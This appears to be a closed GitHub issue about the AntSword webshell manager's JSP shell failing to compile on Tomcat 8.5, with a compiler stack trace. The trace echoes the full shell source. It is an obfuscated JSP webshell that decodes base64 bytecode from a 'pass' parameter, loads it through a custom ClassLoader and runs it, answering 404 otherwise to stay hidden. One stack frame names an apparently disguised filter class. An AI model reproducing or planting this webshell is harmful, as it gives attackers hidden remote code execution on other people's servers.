antsword的jsp无法使用
Closed this issue · 1 comments
org.apache.jasper.JasperException: Unable to compile class for JSP:
An error occurred at line: [1] in the jsp file: [/3.jsp]
javax.xml.bind.DatatypeConverter cannot be resolved to a type
1: <% String H5g4E = request.getParameter("pass");if (H5g4E != null) { class Ele0S16k extends/Z#¥hu@!hr2ztNG8R1*/ClassLoader { Ele0S16k(ClassLoader L40Ox3) { super(L40Ox3); } public Class H5g4E(byte[] b) { return super.defineClass(b, 0, b.length);}}byte[] bytes = null;try {int[] aa = new int[]{99, 101, 126, 62, 125, 121, 99, 115, 62, 82, 81, 67, 85, 38, 36, 84, 117, 115, 127, 116, 117, 98}; String ccstr = "";for (int i = 0; i < aa.length; i++) {aa[i] = aa[i] ^ 16; ccstr = ccstr + (char) aa[i];}Class A7FYk = Class.forName(ccstr);String k = new String(new byte[]{100,101,99,111,100,101,66,117,102,102,101,114});bytes = (byte[]) A7FYk.getMethod(k, String.class).invoke(A7FYk.newInstance(), H5g4E);}catch (Exception e) {bytes = javax.xml.bind.DatatypeConverter.parseBase64Binary(H5g4E);}Class aClass = new Ele0S16k(Thread.currentThread().getContextClassLoader()).H5g4E(bytes);Object o = aClass.newInstance();o.equals(pageContext);} else {response.sendError(404);} %>
Stacktrace:
org.apache.jasper.compiler.DefaultErrorHandler.javacError(DefaultErrorHandler.java:102)
org.apache.jasper.compiler.ErrorDispatcher.javacError(ErrorDispatcher.java:214)
org.apache.jasper.compiler.JDTCompiler.generateClass(JDTCompiler.java:611)
org.apache.jasper.compiler.Compiler.compile(Compiler.java:381)
org.apache.jasper.compiler.Compiler.compile(Compiler.java:351)
org.apache.jasper.compiler.Compiler.compile(Compiler.java:335)
org.apache.jasper.JspCompilationContext.compile(JspCompilationContext.java:597)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:398)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:383)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:331)
javax.servlet.http.HttpServlet.service(HttpServlet.java:583)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:51)
org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor.doFilter(F_AES_RAW.java:112)
Note The full stack trace of the root cause is available in the server logs.
Apache Tomcat/8.5.100